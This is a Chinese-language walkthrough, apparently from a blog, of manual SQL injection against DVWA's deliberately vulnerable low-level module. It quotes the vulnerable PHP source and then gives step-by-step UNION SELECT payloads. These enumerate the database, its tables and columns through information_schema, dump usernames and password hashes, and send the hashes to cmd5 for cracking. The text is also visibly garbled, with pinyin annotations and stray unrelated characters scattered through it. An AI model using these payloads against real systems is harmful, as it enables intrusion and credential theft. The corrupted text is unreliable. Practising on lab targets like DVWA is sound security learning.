1.SQL注入點(diǎn)類(lèi)型
字符型:‘1’=‘1‘
數(shù)字型:1=1
搜索型:like ’%1%‘
2.SQL注入點(diǎn)類(lèi)型判斷
漏洞平臺(tái)DVWA? ? ?漏洞等級(jí):low? ? ?模塊:SQL Injection
1)判斷是否存在注入
找到某個(gè)web form哼转,鎖定輸入框笤虫,驗(yàn)證是否存在注入點(diǎn)
2)判斷注入點(diǎn)類(lèi)型
把級(jí)別設(shè)為low
查看源碼
// Get input
? ? $id = $_REQUEST[ 'id' ];
? ? switch ($_DVWA['SQLI_DB']) {
? ? ? ? case MYSQL:
? ? ? ? ? ? // Check database
? ? ? ? ? ? $query? = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
? ? ? ? ? ? $result = mysqli_query($GLOBALS["___mysqli_ston"],? $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
? ? ? ? ? ? // Get results
? ? ? ? ? ? while( $row = mysqli_fetch_assoc( $result ) ) {
? ? ? ? ? ? ? ? // Get values
? ? ? ? ? ? ? ? $first = $row["first_name"];
? ? ? ? ? ? ? ? $last? = $row["last_name"];
? ? ? ? ? ? ? ? // Feedback for end user
? ? ? ? ? ? ? ? echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
? ? ? ? ? ? }
? ? ? ? ? ? mysqli_close($GLOBALS["___mysqli_ston"]);
? ? ? ? ? ? break;
? ? ? ? case SQLITE:
? ? ? ? ? ? global $sqlite_db_connection;
? ? ? ? ? ? #$sqlite_db_connection = new SQLite3($_DVWA['SQLITE_DB']);
? ? ? ? ? ? #$sqlite_db_connection->enableExceptions(true);
? ? ? ? ? ? $query? = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
? ? ? ? ? ? #print $query;
? ? ? ? ? ? try {
? ? ? ? ? ? ? ? $results = $sqlite_db_connection->query($query);
? ? ? ? ? ? } catch (Exception $e) {
? ? ? ? ? ? ? ? echo 'Caught exception: ' . $e->getMessage();
? ? ? ? ? ? ? ? exit();
? ? ? ? ? ? }
? ? ? ? ? ? if ($results) {
? ? ? ? ? ? ? ? while ($row = $results->fetchArray()) {
? ? ? ? ? ? ? ? ? ? // Get values
? ? ? ? ? ? ? ? ? ? $first = $row["first_name"];
? ? ? ? ? ? ? ? ? ? $last? = $row["last_name"];
? ? ? ? ? ? ? ? ? ? // Feedback for end user
? ? ? ? ? ? ? ? ? ? echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
? ? ? ? ? ? ? ? }
? ? ? ? ? ? } else {
? ? ? ? ? ? ? ? echo "Error in fetch ".$sqlite_db->lastErrorMsg();
? ? ? ? ? ? }
? ? ? ? ? ? break;
? ? }
}
?>
拼接語(yǔ)句
非常容易形成SQL注入
id = 1' and '1'='1
SELECT first_name, last_name FROM users WHERE user_id = '1' and '1'='1';
可以查詢(xún)
3.SQL注入字段猜解
1)再查詢(xún)語(yǔ)句中構(gòu)造order by 子句
2)驗(yàn)證字段數(shù)
1和2都沒(méi)有報(bào)錯(cuò),而輸入3時(shí)報(bào)錯(cuò)桐早,說(shuō)明字段數(shù)為2
4.字段顯示順序
1)猜字段順序
2)結(jié)合union語(yǔ)句
輸入1' union SELECT 1,2#
那么語(yǔ)句變成SELECT first_name, last_name FROM users WHERE user_id = '1' and '1'='1' union SELECT 1,2#';
可以看出,字段順序?yàn)?First name? ? Surname
5.獲取當(dāng)前數(shù)據(jù)庫(kù)
1)使用database():顯示當(dāng)前連接的數(shù)據(jù)庫(kù)
2)結(jié)合union子句
輸入1' union SELECT 1,database()#
語(yǔ)句變成SELECT first_name, last_name FROM users WHERE user_id = '1' and '1'='1' union SELECT 1,database()#';
可以看到數(shù)據(jù)庫(kù)的名稱(chēng)
5.獲取當(dāng)前數(shù)據(jù)庫(kù)的表名
1.使用數(shù)據(jù)字典表:information_schema.tables季俩,定義了所有數(shù)據(jù)庫(kù)里所有表的信息
2.集合union子句闪盔,group_concat():顯示多表名稱(chēng)
前面已經(jīng)通過(guò)database()獲取了數(shù)據(jù)庫(kù)名稱(chēng):dvwa
輸入1' union SELECT 1,table_name FROM information_schema.tables WHERE table_schema='dvwa
語(yǔ)句變成SELECT first_name, last_name FROM users WHERE user_id = '1' union SELECT 1,table_name FROM information_schema.tables WHERE table_schema='dvwa';
可要看到當(dāng)前數(shù)據(jù)庫(kù)有兩張表,表名分別為guestbook和users
6.獲取字段名
1)查詢(xún)information_schema.columns中columns_name列來(lái)獲取當(dāng)前表的所有字段名稱(chēng)
2)結(jié)合union子句
輸入1' union SELECT 1,column_name FROM information_schema.columns WHERE table_name='users
語(yǔ)句變成SELECT first_name, last_name FROM users WHERE user_id = '1’ union SELECT 1,column_name FROM information_schema.columns WHERE table_name='users';
這樣就得到了user表中所有的字段名
可以使用group_concat()函數(shù)把他們顯示在一行
輸入1' union SELECT 1,group_concat(column_name) FROM information_schema.columns WHERE table_name='users
7.獲取表數(shù)據(jù)
集合union子句敬察,查詢(xún)表的所有字段,找到所涉及敏感數(shù)據(jù)的字段
使用cmd5破解users表里的password字段的數(shù)據(jù)
輸入1' union SELECT user,password FROM users#
得到賬號(hào)和密碼
使用group_concat()函數(shù)讓信息顯示整齊
1' union SELECT 1,group_concat(user,' ',password) FROM users#
在cmd5中破解密碼